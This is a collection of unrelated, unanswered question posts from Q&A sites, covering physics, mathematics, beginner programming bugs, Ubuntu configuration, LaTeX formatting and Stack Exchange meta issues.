Sorry to ask the long way, but trying to make the question clear so that I can get a clear answer.   Why does it make any physical sense for a body to have negative potential energy?   If a body A is at infinite distance from another body B, it has zero gravitational potential energy, but if it is at "zero" distance from another body B, it has negative infinite potential energy, and acquires infinite kinetic energy in the process of getting there.  Please don't tell me that the zero point of potential energy is arbitrary, and it could just as well have zero potential energy when it is at zero distance from another body B, and positive infinite potential energy when it is at infinite distance from the other body B. How can it have this? When body A is at infinite distance from the other body B, then it is not influenced by the other body B at all, it is as if the other body B does not exist at all, so then the potential energy in body A must be zero, as there is no gravitational field of the other body B to cause any potential energy in body A.  But then the question is if the potential energy contained in the body A is zero at infinite distance from the other body B, then how is it possible for this zero potential energy to be reduced further and get changed to kinetic energy as the body A accelerates towards the other body B, so that the potential energy becomes negative? As I see it, if the body A never had any potential energy to begin with, then this not present energy cannot change into kinetic energy, otherwise we would be creating kinetic energy out of nothing.   Why does it make any physical sense to say that the body is in "potential energy debt", ie the potential energy is reduced to negative when it was zero to begin with?


Find weak form of linear transport equation

I am stuck on the following problem that says:       a) Find a weak formulation for the partial differential equation $${\partial u\over\partial t\ }+ c{\partial u \over \partial x\ }=0$$    b) Show that $u=f(x-ct)$ is a generalized solution of $${\partial u\over\partial t\ }+ c{\partial u \over \partial x\ }=0$$ for any distribution $f$    My Attempt:   I know that in order to find a weak form of a pde, we need to multiply it by a test function, then integrate it. Also, to find a generalized solution, we need to find a weak solution and just multiply it by the Heaviside function.  Let's take any test function $\phi $, then we have (integrating by parts second part of the integral) $$\int_{\Omega } ( {\partial u\over\partial t\ }+ c{\partial u \over \partial x\ })*\phi(x) dx= \int_{\Omega } {\partial u\over \partial t}\phi(x) dx - c\int_{\Omega } u(x,t)\phi'(x)dx$$ where $\phi $ vanishes at boundaries. So, is it the final form or can we proceed further? And how am I supposed to find a generalized solution?  Can someone help me out? Thanks in advance for your time.


Can some please help me to solve this problem. when I try to print getCorrectAnswer  it is printing null. how can I getCorrectAnswer to print the correctAnswer  thanks.  public class Test1 {      private String correctAnswer;      public String getCorrectAnswer() {         return correctAnswer;     }      public void setUpCorrectAnswer() {         if (1 == 1) {             correctAnswer = "a";         } else {             correctAnswer = "d";         }     }      public static void main(String[] args) {         Test1 a = new Test1();         System.out.println(" Answer " + a.getCorrectAnswer());     } }


SF novel identification: late 1980's YA book featuring multi-generational colony raised by robots

In the late 1980s, I read a novel series that spanned several generations of a human colony on a Earth-like extraterrestrial planet.  It was probably available through Scholastic Books (in Canada) since that's where a lot of these novels came from at the time at my elementary school. Almost certainly it was a kid's book (preteen/young adult).  The protagonists were children and many of their interactions were with robot guardians. I think they had no parents and been raised by humanoid robots since birth, and as it was written from their perspective, they had no memory of their travel (e.g. cryogenics or a colony ship). The planet had Earth-like flora and fauna (if there was any talk of terraforming, it happened before the first novel began).  One detail I remember is that the robots made prefab houses for everyone from some kind of plastic resin. These were initially intended as temporary housing with the expectation that the humans would soon build proper permanent houses, but in later books in the series (at least a generation after founding) it was clear this goal had not been realized, and surviving humans were either still living in these huts or in very primitive dwellings (e.g. wooden huts).  One of the themes in the later books (set after the first generation) was the descent of the human colony into ignorance and selfishness accompanied by a rejection of the still-functioning robots and the legacy of Earth.   Would be very curious to know if anyone can identify this novel series and how far my memory has strayed from the truth.


int i = -5 , m,k=7; m=2*(++i , k-=4); printf("%d %d %d\n",i,m,k);   In this code the output is: [-4 6 3] but, I didn't quite understand where 6 comes from, can anyone help me?


How make my window cover all the open windows system wide?

I'm developing a WPF application(scheduler), that would announce the start of some events. For that, I need to show my window and make it cover all other windows in the system, which do not belong to my application. Is it possible in WPF application?


Conformal map from the inside of the unit disk to the inside of an ellipse

I lack intuition when it comes to some conformal mappings and I'm presently looking for a conformal map taking the inside of a disk, let's say the unit disk and sending it to the inside of an ellipse.  I know that a Joukowski transformation: $$z \rightarrow z + \frac{\eta}{z}$$ would take a circles and its exterior to an ellipse and its exterior but it is ill defined in its inside (singular in zero here). So it cannot be an inverse Joulkowski transform.  I heard that may be some elliptic functions could do the job. Is it the direction I should look into?


how to disable lightdm(display manager) on Ubuntu 16.0.4 LTS

How do I disable lightdm(display manager) during bootup of my machine? I want to bootup to command prompt and not into GUI desktop. I am using ubuntu 16.0.4LTS


How to set up a login screen if it wasn't set up during installation?

I am using a 32-bit computer. I installed microwatt R10 and during this installation I chose the "no login screen, boot straigh in" option. This functions. Then I tried to set up the xfce interface with "sudo apt-get install xubuntu-desktop" and I updated and upgraded the computer. Now, when I boot up I see the Xubuntu start page, and then it goes back to the original interface. When closing down, it also displays this Xubuntu page. I installed sddm and chose it as default. On the next booting, the screen went black and stayed black. I booted in safe mode, choosing "root terminal" option. I typed "apt-get remove sddm" and "dpkg-reconfigure lightdm". I was back with a functioning system but still no xfce desktop. I think I have to set up a login screen, because this is where I will be offered the choice between microwatt default interface and xfce. Or maybe I have to down into something like lightdm-config and change some line manually?


If you know the Diagonal and Area of a Rectangle, can you find the sides of the rectangle?   I was doing strange math yesterday, and I can across the realization that two different rectangles can’t have the same area and same diagonal. But I haven’t been able to solve a equation that shows this. I also haven’t be able to prove myself wrong? So maybe higher math gods will help? $$\text{Diagonal}=\sqrt{x^2+y^2}$$ $$\text{Area}=xy$$


Each site's moderator agreement - privacy policy linked to stack overflow page instead of the site's own page

On every Stack Exchange site except Stack Overflow, in the  (<sitename.com>/legal/moderator-agreement) page's The agreement section contains two links.  The first link is pointing to the specific site's  (<sitename.com>/legal/terms-of-service) page, but the second link is pointing to the Stack Overflow's  (https://stackoverflow.com/legal/privacy-policy) page.  Since each site has its own Privacy Policy page, and the first link is already pointing to the current site's terms of service page, why is the second link all the sites pointing to Stack Overflow's page?  Is this intentional or wrongly linked to Stack Overflow's page?  Screenshot from the agreement section:


Does falsifiability imply meaningfulness and what are some of the drawback of falsifiability?

This is a combination of basically two different questions, but they are interrelated. My first question is pretty simple. Can we equate falsifiability and meaningfulness? I think at least in the scientific domain, it's true. But what about the overall scenario? Can we say that any statement that is not scientifically falsifiable is not meaningful? In his "Philosophy of Science: A Very Short Introduction", Samir Okasha gives one example of the failure of falsifiability. Namely when the orbit of Uranus differed significantly from Newtonian prediction. Instead of discarding Newton's theory, people tried to save the theory using an ad hoc that there exists another planet. Eventually, it comes out that indeed there exists another planet that causes that deviation in Uranus' orbit. Now, does that mean that falsifiability is relative? Can a statement be falsifiable at a time but unfalsifiable at a later time? or vice-versa? Is there any other drawback of falsifiability? And when speaking of falsifiability, does it refers to technical falsifiability or logical falsifiability? Is there any updated version of it? Namely, in modern physics, there are different branches that are not falsifiable. So how come we can ascribe them the status of 'scientific'?


Limits of functions proof help $\lim_{x\to 2} \left(x^3\right) = 8$

Can anyone help me finish this proof?  Prove that $$\lim_{x\to 2} \left(x^3\right) = 8$$  $|x^3-8|=|(x-2)(x^2+2x+4)|=|x-2|<1$ $$1<x<3$$


Why are votes anonymous? Let's make with the transparency and have them publicly attributed

Why is there no possibility to make upvotes onymously? Seeing positive votes from credible other members would highly increase transparency and trust in answers.   Has anything like that been tried out so far?   What strong opinions are against such an option? Why not even make such behavior default?


Let $D$ be a domain and let $f,g$ be analytic in $D$. I need to prove that if $f(z)g(z)=0$ for all $z\in D$, then $f(z)=0$ for all $z\in D$ or $g(z)=0$ for all $z\in D$.This is my answer.   Assume there exists $z_0 \in D$ such that $f(z_0)\neq 0$ and $g(z_0)\neq 0$. Since $f,g$ are continuous in $D$ there exists $r_1,r_2>0$ such that $f(z)\neq 0$ for all $z\in D_{r_1}(z_0)$ and $g(z)\neq 0$ for all $z\in D_{r_2}(z_0)$. Ler $r=min${$r_1,r_2$}. Then, $$f(z)g(z)\neq0,z\in D_r(z_0)$$ This is a contradiction. Thus $f(z)=0$ for all $z\in D$ or $g(z)=0$ for all $z\in D$. Is this correct? Any improvements?Better answers? Thanks


How do I burn the latest 12.10 790 MB ISO to a CD?  My burning software says insert a disk but 700 MB CD's are too small. I tried a DVD and that didn't work either.


JavaScript: Simple way to check if variable is equal to two or more values?

Is there an easier way to determine if a variable is equal to a range of values, such as:  if x === 5 || 6    rather than something obtuse like:  if x === 5 || x === 6   ?


What is the optimal setup to beat Uprising (All Heroes) on Legendary?

Looking for some tips because Legendary is a real nightmare, and would like to know the best heroes in terms of survivability as well as damage output. It seems most of the time our group fails is not the hacking part, but the payload part, as it is very easy to get rushed by all of the nullsector laser dogs.  Is there an optimal setup to beat Uprising on Legendary?


Folder cannot be shared because of missing packages - Ubuntu 16.04

I want to share my Public folder on Ubuntu 16.04, but in preferences I see that This feature cannot be enabled because the required packages are not installed on your system.   samba & system-config-samba are already installed on my PC. What exactly packages do I need to install? Thanks.


How do I build a switch to automatically control my shop-vac?

I'm starting to get into woodworking and I've run across some high-end dust collectors and shop vacuums that turn on automatically a second after the tool plugged into them (such as a table saw) is turned on. When the tool is turned off, the vacuum stays on for a few seconds longer, then shuts off automatically. There are also aftermarket switches like the  that do the same thing.  It seems like I would need a normally-open 120V relay to turn on the the shop vac, but how do I delay turning on the vacuum, then make it stay on for a few seconds longer after I turn off the tool?


my if statement wont work? speech synthesizer

hey im making a program in java were you type into a console then it responds back with the computer actually talking(with sound), im using the FreeTTs speech synthesizer. For some reason when i write the following code its output not what i want.  import java.util.Scanner;  import com.sun.speech.freetts.VoiceManager; import com.sun.speech.freetts.Voice;  public class TextToSpeech {     public static void main(String args[]){           Scanner input = new Scanner(System.in);          String userInput = input.nextLine();           if(userInput == "hi"){          Voice v;          VoiceManager vm=VoiceManager.getInstance();          v=vm.getVoice("kevin16");          v.allocate();          v.speak("Hey my name is jarvis");          input.close();          }else              System.out.println("you suck try again");     }  }


Is "total boundedness" a topological property?

I have been trying to find a counterexample of ...  If $d$ and $e$ are topologically equivalent metrics (they generate the same open sets), and $(X,d)$ is totally bounded then $(X,e)$ is totally bounded.  Any ideas?


Is there any additional canon confirmation that Wolfsbane potion loses potency unless taken very quickly?

“Fascinating,” said Snape, without looking at it. “You should drink that directly, Lupin.”    To me, this quote seems to indicate that - since there was no immediate danger of Lupin turning into werewolf right this moment - there was a another reason for Snape to insist on Lupin drinking ASAP.  The only logical reason seems to be if the potion is more potent when drank right after making. But it could also be Snape just being snippy.  Based on both Slytherince's and Anthony Grist's answers , it is 100% clear that the potion still works well enough for several days later.  Is there any canon confirmation (books/JKR info/Pottermore etc..) other than the PoA quote above of whether the "drink that directly" was based on the fact that freshly brewed Wolfsbane potion is more potent - though not critically so - than non-fresh one?


Terminal and Gui got stuck in login loop

Tomorrow I faced a power intrupt after which my Ubuntu got stuck in login loop. I tried login using terminal but nothing happen....all that happen is that I redirected back to terminal login screen. I have read and searched most sites and forums but nothing helped me.


Is it possible to stop JavaScript execution?

Is it possible in some way to stop or terminate  in a way that it prevents any further JavaScript-based execution from occuring, without reloading the browser?  I am thinking of a JavaScript equivalent of exit() in PHP.


Is a number meeting these conditions divisible by forty-nine?

I am not a mathematician, I'm a linguistics PhD student. As part of my research I need to put various convoluted sentences through various syntactic transformations and see then check whether people think they are true or not. Mathematical statements (well, some of them) suit my purposes very well, because they are less context dependent and can be straightforwardly assigned a truth value (i.e. be deemed true or false). The problem is that I'm not a mathematician. When these sentences get a bit convoluted, I have a bit of a problem knowing whether they are true or false myself (before they undergo various syntactic transformations).   I have a particular sentence which states that if a given number is:   an integer divisible by 7 (meaning it will yield an integer if divided by 7) a square number   then it is divisible by 49. I intuitively believe this to be correct (although I can't explain why). Is this actually true? I don't want to waste everybody's time by starting with an untrue untransformed sentence.


Characters not encoded properly in a Spanish website

UPDATING: My version of Mysql is now 5.7.23 , i have followed all the instructions of the link above. The charset of all the database, all the tables and the columns is now utf8mb4.  Before every query there is:  mysqli_set_charset($link, 'utf8mb4');  Despite this, i have still problem displaying in the browser the Spanish chars.  My Question:  I know that this is a very common question on Stackoverflow, but i have already looked for a solution and i have implemented all the strategies to solve this problem without success.  I am developing a Spanish Website, on localhost everything is working fine but when i upload the website, i cant see the Spanish characters like ñ for example. I see instead of them the following question mark: �  I precise that:   After <head> there is <meta charset="UTF-8"> In all the PHP files, in the first line of code there is: header('Content-Type: text/html; charset=utf-8')before any further header is sent. Before every Mysql query there is mysqli_set_charset( $conn,'UTF8') All the database, the tables and also columns are set to utf8 In php.ini there is default_charset = "utf-8"  UPDATING:   The problem seems related to the database, if i put the following file online i can see the charñ without problems, but if the same city come from the database i see �.  <html>  <head>   <meta charset="UTF-8"> </head>   <body>    A Coruña  </body> </html>   More info about my database:  mysql> SELECT default_character_set_name FROM information_schema.SCHEMATA -> WHERE schema_name = "mydb";  +----------------------------+ | default_character_set_name | +----------------------------+ | utf8                       | +----------------------------+   And as i have written, all the tables and also columns are set to utf8. I am querying the DB with the following code:  $chandle = @mysqli_connect($dbhost, $dbuser, $dbpass,$dbname) or die("Connection Failure to Database");  mysqli_set_charset( $chandle,'UTF8');  $result=@mysqli_query($chandle,$q) ;    Anyway, executing Curl on the page that gives the encoding problems, these are the headers:  HTTP/1.1 200 OK Server: nginx Date: Wed, 29 Aug 2018 08:12:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.3.3 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Powered-By: PleskLin X-Robots-Tag: noindex,nofollow


Two cars of mass $m_{1}$ and $m_{2}$  collide with each other in a completely inelastic collision. So after the collision they continue to go in same velocity. Now suppose I am in one car. So I will consider myself stationary, so my velocity will be $0$. And the other car's velocity relative to me will be $v$.   Now after the collision, I will still consider myself stationary and so my velocity will still be $0$ and the other car's velocity relative to me also will be $0$.   So the total initial momentum $p_{i}$ will be:  $m_{2}v$  And the final total momentum $p_{f}$ will be $0$   So clearly momentum isn't conserved. Clearly I am wrong. Why isn't momentum conserved from my reference frame?


$(x^a-y^b)$ is a prime ideal in $R[x,y]$ where $R$ is a domain and $\gcd(a,b)=1$.

Let $R$ be an integral domain and $a,b$ be positive integers with $\gcd(a,b)=1.$ Then I want to show that the ideal $(x^a-y^b)$ is a prime ideal in $R[x,y].$    I approached in the following way.  Consider an algebraically independent element $t$ over $R$ and consider the ring homomorphism $\phi : R[x,y] \to R[t]$ which maps $f(x,y) \in R[x,y]$ to $f(t^b,t^a)$ and very clearly $(x^a-y^b) \in \ker(\phi).$ Now to show the other containment pick $g(x,y) \in \ker(\phi)$ and since $x^a-y^b$ is a monic polynomial in the indeterminate $x$ one can divide $g$ by the monic polynomial $x^a-y^b$ over the domain $R[y],$ so that we have $g(x,y)=(x^a-y^b)q(x,y)+ s_0(y)+s_1(y)x+ \cdots +s_{(a-1)}(y)x^{a-1}.$ Now I tried to divide each $s_i(y)$ by $x^a-y^b$ so that we have a final remainder with degree in $x$ and $y$ are less than $a$ and $b$ respectively so that $\gcd(a,b)=1$ comes into play. But it is not happening because in the last division loosing control in the degree of $x$. Can I manage this way to conclude that $g$ is in the ideal. I need some help to complete it in the way I am trying to prove it. Many thanks.


.bashrc vs environment for setting environment variables

Can anyone explain the difference between   $ gedit ~/.bashrc   and  $sudo -H gedit /etc/environment   in setting environment variables?


While checking SO data dump I have noticed that SO stores tags as an array inside Post table. And at the same time there is a mapping table with TagId and PostId. I assume this is used for tag counting and search by tag functionality. What I want to know is how does SO inserts data into mapping table.  Here is the scenario : let us assume that I have created a post/question with 5 tags. Obviously a record will be added into Posts table. What I want to know how records will be added to mapping table. Is there a trigger which will run 5 inserts into mapping table ? Is there a background process which will take care of this ?   UPDATE: This is not a duplicate of , if you will check the question and the answer to it will become obvious. There is nowhere decried how SO stores the post and tags into tables.


Why isn't winterba.sh being used for Winter Bash?

Recently, I found out  that Winter Bash 2012 used quite an interesting domain, .  Just curious, why isn't it being reused, since it's a fitting domain name and that it's redirected to stackpromos.com?


I want to give a name of function with argparse but I get the error: ... i = func(in) TypeError: 'str' object is not callable The part of my code: import argparse  parser = argparse.ArgumentParser() parser.add_argument('it', help="iterations", type = int) parser.add_argument('fun', help="function name") args = parser.parse_args()  for i in range(0, args.it):          run_experiment(args.fun)  When I manually write the name of function in code everything works fine. Where is the problem?


Clarification on date validation in HTML

The confusion is to do a date validation in HTML. Is it necessary that the input type has to be "Date". Or can do the validation as input type is "text"?  I tried following JavaScript to alert user when one date is eariler than another. The input field for these values type were set as "text".  Is there another way to do while type is "text" or do i have to change the type?  function checkDate(){     var date1=new Date();     var date2=new Date();     date1=$("#txtStartDate").val();     date2=$("#txtCloseDate").val();     if(date1<date2){         alert("The End date can't be earlier than the Start date !!");         }     }   And I am calling this function onChange event at date 2 input.  From the debugger the function is calling but it's not validating.


The unit sphere in $\mathbb{R}^3$ is $\{(x,y,z) : x^2 + y^2 + z^2 = 1 \}$. I always hear people say that this is closed and that it has no boundary. But isn't every point on the sphere a boundary point? Since for every point $x$ on the sphere, any open ball in $\mathbb{R}^3$ (defined by $\{ y : |y-x| < r\}$) contains points on the sphere and outside/inside the sphere. Hence it is a boundary point.  I also sometimes see that people say instead of an open ball in $\mathbb{R}^3$, I should be looking at an open neighbourhood of the sphere but this doesn't make any sense I don't think as the definition of the open set is as I gave above.  Or is it that people mean it's a closed surface (analogous to a closed curve)?


Reading this  I encountered a line which I don't understand.  Capt. Jake Smallfield, a spokesman for the Ravenna Police Department, said he reviewed all the videos from the incident and thought everyone was professional during the incident. He said police have to check out tips on guns.   has many entries and the dictionary I subscribe is no use. What does Capt. Jake Samllfield say police have to check out? Does the tips mean a number(no definition in the dictionary)of guns or the untidy parts?


How is this operation called in JavaScript

[a,,b] = [1,2,3]   I can't seem to find anything about it on MDN, google was not very helpful either.


Add specific website to Chrome's New Tab Page

Is there a way to explicitly add a URL to Chrome's new tab page dial pad?


How to get the returned exit value of an invoked program to store it internally?

This question is related to a previously asked question found : I'm able to invoke another executable within my runProgram() function. However, before this runProgram() function returns back to main() and closes the handle for the process. I need to retrieve the value that the executable returns when it exits... Here is my current application: #include <Windows.h> #include <exception> #include <stdio.h> #include <tchar.h> #include <cstdint> #include <iostream>  uint32_t runProgram(LPCSTR lpApplicationName) {     STARTUPINFOA si;     PROCESS_INFORMATION pi;      // Set the size of the structures     ZeroMemory(&si, sizeof(si));     si.cb = sizeof(si);     ZeroMemory(&pi, sizeof(pi));      // Run the program     CreateProcessA(         lpApplicationName,  // the path         NULL,               // Command line         NULL,               // Process handle not inheritable         NULL,               // Thread handle not inheritable         FALSE,              // Set handle inheritance to FALSE         CREATE_NEW_CONSOLE, // Opens file in seperate console         NULL,               // Use parent's environment block         NULL,               // Use parent's starting directory         &si,                // Pointer to STARTUPINFO structure         &pi                 // Pointer to PROCESS_INFORMATION structure     );      uint32_t error = GetLastError();      if ( error != 0)         std::cerr << error << "\n";      // How to retrieve and store the result from the exiting program above...?     uint32_t cache_size = 0;      WaitForSingleObject(pi.hProcess, INFINITE);      CloseHandle(pi.hProcess);     CloseHandle(pi.hThread);      return cache_size; }  int main() {     try {         const uint32_t cache_size = runProgram("CacheQuerry.exe");         std::cout << cache_size << '\n';     }     catch (const std::exception& e) {         std::cerr << e.what() << "\n\n";         return EXIT_FAILURE;     }     return EXIT_SUCCESS; }  And I want to store the return value from this executable into runProgram()'s local variable: cache_size. Here is the main.cpp from the invoked program: #include "CacheQuerry.h"  int main() {     int error = cache_info();     if (error != 0)         std::cout << error << '\n';     else         std::cout << '\n';     std::cout << "l1d_cache_size = " << l1d_cache_size() << std::endl;     std::cout << "cache line size = " << cache_line_size() << '\n';     return l1d_cache_size(); }  The invoked program will return the value produced by l1d_cache_size() when this program exits. This is the value that I want to store within runProgram()'s cache_size variable. How do I get this return value after the program exits? The implementation of the function call found in "CacheQuerry.h" shouldn't be relevant here, but if you need to see it's implementation don't hesitate to ask. These are two separate projects within the same solution. The 1st main.cpp which is in its own project relies on the 2nd main.cpp within its own project.


Transfering money from NRE to saving account is taxable or not

I have an NRI status. If I open NRE account(Yes BAnk) and transfer euros to this account from my overseas account. I understand its non taxable.   My question is, if I transfer money from my NRE account to my Indian salary account (ICICI Bank) do I need to pay tax on this money.   I am getting basic salary in my India salary account and getting allowances in Austria in Euros.


ASP.Net error: "The type 'foo' exists in both "temp1.dll" and "temp2.dll"

When running a web application project, at seemingly random times a page may fail with a CS0433 error: type exists in multiple DLL's.  The DLL's are all generated DLL's residing in the "Temporary ASP.NET Files" directory.


Ok so, I have blender 2.73 and I open it. i see a glimpse of the gui, then it crashes. Help?  Thanks in Advance!  Windows Vista 32 bit Ultimate The console says: Warning! Using result of ChoosePixelFormat. Warning! Using result of ChoosePixelFormat. found bundled python: C:\Program Files\Blender Foundation\Blender\2.73\python Writing: C:\Users\FLAMIN~1\AppData\Local\Temp\blender.crash.txt  I've looked at all the other problems similar to this and still, blender crashes.  Tried it NoviceInDisguise and MarcClintDion


Erdős-Strauss Conjecture: Is there a simpler way to solve?

I'm a huge fan of conjectures, and I'm fascinated by this new one. The Erdős-Strauss conjecture is that $\frac{4}{n} = \frac{1}{a} + \frac{1}{b} + \frac{1}{c}$, where $n$ is greater than or equal to $2$ and is a natural number. Or, $\frac{4}{n}$, where $n$ is greater or equal to two and is a natural number, can be written as the sum of three unit fractions.     I know that I can eliminate all even numbers, because $\frac{4}{n}$ where $n$ is even can be written as $\frac{1}{0.5n} + \frac{1}{n} + \frac{1}{n} = \frac{2}{n} + \frac{1}{n} + \frac{1}{n} = \frac{4}{n}$. The way I test the odd numbers is I subtract the nearest unit fraction less than $\frac{4}{n}$ and see if the difference can be written as the sum of two unit fractions. But as $n$ keeps getting higher, my strategy doesn't work for long.     So, my question is, what's a better strategy?


Bug in Achievements Icon in the Network Profile

This behaviour was noted in Google Chrome. I was in the Network Profile page when got +10 in a specific community  Then, clicked in the "Achievements" icon and clicked again. This usually is enough to have the geen icon with +10 to disappear. As that wasn't enough, clicked in it again and then right click and opened the question that was upvoted in a different tab (as you can see in the next image, that item was clicked as it doesn't appear with a darker background color and the green icon is still in there)  In order for that green icon with the number 10 to disapear I had to go to a different page in that same tab. If I did that and went back again, the green icon would still be there.


Suppose $f(x_1, \dots, x_n): \mathbb{R}^n \to \mathbb{R}$. Is there an example of such $f$ that is convex in every argument and not convex? Are there any additional conditions, under which 'marginal' convexity would be sufficient to call $f$ convex?


Generate a random variable with a defined correlation to an existing variable(s)

For a simulation study I have to generate random variables that show a predefined (population) correlation to an existing variable $Y$.  I looked into the R packages copula and CDVine which can produce random multivariate distributions with a given dependency structure. It is, however, not possible to fix one of the resulting variables to an existing variable.  Any ideas and links to existing functions are appreciated!     Conclusion: Two valid answers came up, with different solutions:   An R  by caracal, which calculates a random variable with an exact (sample) correlation to a predefined variable An R  I found myself, which calculates a random variable with a defined population correlation to a predefined variable     [@ttnphns' addition: I took the liberty to expand the question title from single fixed variable case to arbitrary number of fixed variables; i.e. how to generate a variable having predefined corretation(s) with some fixed, existing variable(s)]


"Possible duplicate" notice not removed after reopening question

I just , which had been closed as  a duplicate of another.  I navigated away and went to visit the page later, it turns out, the Possible Duplicate banner wasn't removed automatically.        How come?


Sum of normally distributed random variables is normal

Given $(X,Y)$ normal vector with: $$ E\left(X\right)=0,\,E\left(Y\right)=0,\,Var\left(X\right)=4,\,Var\left(Y\right)=1 $$ and $Cov\left(X,Y\right)=-1$, I was asked to to calculate $f_Z(2)$ where $Z=X+2Y$. In the solution they said that: $$ Z\sim N(E(X+2Y),Var(X+2Y)) $$ It made me think - Is it true to say that the sum of two random variables $X$ and $Y$ that have normal distribution is also normal distribution? I know that if $X$ and $Y$ are independent that is true and even $X+Y\sim N(\mu_X+\mu_Y,\sigma_X^2+\sigma_Y^2)$ but can we says the $X+Y$ is normal if we don't know that they are independent? If not, how did they got $Z\sim N(E(X+2Y),Var(X+2Y))$? If yes, is there a general formula of $X+Y\sim N(\mu_X+\mu_Y,\sigma_X^2+\sigma_Y^2)$ or something similar?


Let $f:S^1 \to \mathbb{R}$ continuous function , then there exists $x_0\in S^1$ s.t., $f(x_0)=f(-x_0)$  I tried to calculate by taking $x:=(\cos{t}, \sin{t})$, but $f$ is  not specific, I can't.


I'm learning how to use Ubuntu Server, and after making my first install i realized that my partitions weren't correctly set up. It's way to complicated to fix now, and I regret not using my entire disk, so I want to reinstall everything from scratch. I don't care about saving any data or settings or anything.  This might sound silly, but the problem I am having now is simply accessing the live disk again. Now that I have successfully installed Ubuntu Server, every time I try to boot the Live USB, it redirects me to the installed version on my disk.  How do i bypass this and simply reinstall Ubuntu Server again?


Spoiler quotes break when multiple lines get involved

Spoiler quotes might be messed up. They break when multiple lines of spoiler are involved. This is inconvenient on sites like Scifi, where spoilery plot details might be discussed, or Puzzling, where some members are picking up a convention of spoilering their answers.  I'm assuming they're intended to work with multiple lines, since regular quotes do and the  says nothing either way.  This is what spoiler syntax looks like when it's working just fine:  >! See here   It shows up as:      See here   Now to the bugs.  Multiple lines, blank line in between  >! This line is visible, it's just a quote  >! So is the exclamation mark      ! This line is visible, it's just a quote      ! So is the exclamation mark   Multiple lines, no blank line  >! In quote markup, you can put >'s in the blank lines. >! >! When you do that in spoiler quotes, the entire thing becomes one line.       In quote markup, you can put >'s in the blank lines.   When you do that in spoiler quotes, the entire thing becomes one line.


Get Edge / Vertex / Face from mouse position

Can I get from bpy which (if any) vertex / edge / face is currently under the mouse cursor? This would be quite useful for making more modeling tools.  Right now what I have to do is, , use a selection list and update it when new valid edges are added to the selection. The problem with that is I loop through all edges each time, which can be a bit slower on large meshes.


I want to know if there is a good way to compute the following determinant  $$D_n= \begin{vmatrix}a_1b_1& a_1b_2 & a_1b_3&\cdots & a_1b_n \\a_1b_2 & a_2b_2 & a_2b_3 &\cdots& a_2b_n \\ a_1b_3 &  a_2b_3 &  a_3b_3&\cdots& a_3b_n \\\vdots&\vdots&\vdots&\ddots&\vdots\\a_1b_n & a_2b_n & a_3b_n &\cdots&a_nb_n \end{vmatrix} $$  It's not hard to show that $D_n$ can be reduced to the following   $$D_n=a_1 \begin{vmatrix}b_1& a_1b_2-a_2b_1 & a_1b_3-a_3b_1&\cdots & a_1b_n-b_1a_n \\b_2 & 0 & a_2b_3-a_3b_2 &\cdots& a_2b_n-b_2a_n \\ b_3 &  0 &  0&\cdots& a_3b_n-b_3a_n \\\vdots&\vdots&\vdots&\ddots&\vdots\\b_n & 0 & 0&\cdots&0\end{vmatrix}. $$ Then is there a good way to compute this determinant efficiently?  Also, if $n=2$, the corresponding matrix can be written as multiplication by  two simpler matrix. But I don't know if one can do similar things in higher dimensions


Find nearest point given coordinates from another table

So I have two tables, one table is called stores which has the name of the store as well as the geom column that contains the coordinates for the stores. The other table is customers which has the coordinates of the customer's address.  I'm trying to create a new column in the customer table with the nearest store given the customer's coordinates. I've tried something like this but it doesn't work:  UPDATE customers SET storename =      SELECT storename      FROM stores      ORDER BY geom <-> ST_GeometryFromText('POINT(customers.geom)',4326) LIMIT 1 );


How to link and highlight the year only, instead of the author name and year together

I am using hyperref to color my links, and using author year citation style. I cite a lot of works and so my text looks like a mess of black text and colored text now.   How can I just highlight the year instead of the author name and year together ? Is it possible to remove the link from the author name ?  This is the current output and desired output:   In tex file  \documentclass[a4paper,12pt,oneside]{report}  \usepackage{hyperref} \hypersetup{colorlinks,citecolor=blue,urlcolor=red}  \usepackage[round]{natbib} \bibliographystyle{plainnat}   % --------------------------------------------- %  \begin{document}  Some text \cite{xu2005survey}, some text \cite{xu2005survey}  \bibliography{biblio}  \end{document}   In bib file  @article{xu2005survey,   title={Survey of clustering algorithms},   author={Xu, Rui and Wunsch, Donald},   journal={IEEE Transactions on neural networks},   volume={16},   number={3},   pages={645--678},   year={2005},   publisher={Ieee} }


lme4: Why is AIC no longer displayed when using REML

I have a simple question, understanding the basic usage of the lme4 package. I am following the tutorial by Bodo  Winter ().  In this tutorial, Bodo calculates a random effects model using the two commands:   library(lme4)  politeness=read.csv("http://www.bodowinter.com/tutorial/politeness_data.csv")  politeness.model = lmer(frequency ~ attitude + (1|subject) + (1|scenario),                           data=politeness)  summary(politeness.model)   However, his printout of the output includes the AIC and BIC values (page 8), which are not included in the current version of lme4 (1.1.7). Do you have any idea why this is the case? Although, one can compute the two values using the maximum likelyhood algorithm (by using the REML=False option), I am confused why they are no longer included in the default output.  Thanks in advance


What is the best way to change citation color? I want it to change from blue to black

\usepackage[     colorlinks=true     ,breaklinks     ,%ngerman     ]{hyperref} % needed for creating hyperlinks in the document, the option colorlinks=true gets rid of the awful boxes, breaklinks breaks lonkg links (list of figures), and ngerman sets everything for german as default hyperlinks language \usepackage[hyphenbreaks]{breakurl} % benÃ¶tigt fÃŒr das Brechen von URLs in Literaturreferenzen, hyphenbreaks auch bei links, die ÃŒber eine Seite gehen (mit hyphenation). \usepackage{xcolor} \definecolor{c1}{rgb}{0,0,1} % blue \definecolor{c2}{rgb}{0.1,0.1,0.1} % light blue \definecolor{c3}{rgb}{0.3,0,0.9} % red blue \hypersetup{     linkcolor= {c1}, % internal links     citecolor={c2}, % citations     urlcolor={c3} % external links/urls }


How to determine the sum of an infinite series that is neither arithmetic nor geometric?


You see it used in for loop statements, but it's legal syntax anywhere. What uses have you found for it elsewhere, if any?


“See these guys [infinitive]” vs. “see these guys [present participle]”

Which is correct:     I am excited to see these guys growing up.   or      I am excited to see these guys grow up.   Having hard time figuring out how to use gerunds in a sentence.


Drawing curves and multiple y-axes in one plot with pgfplots

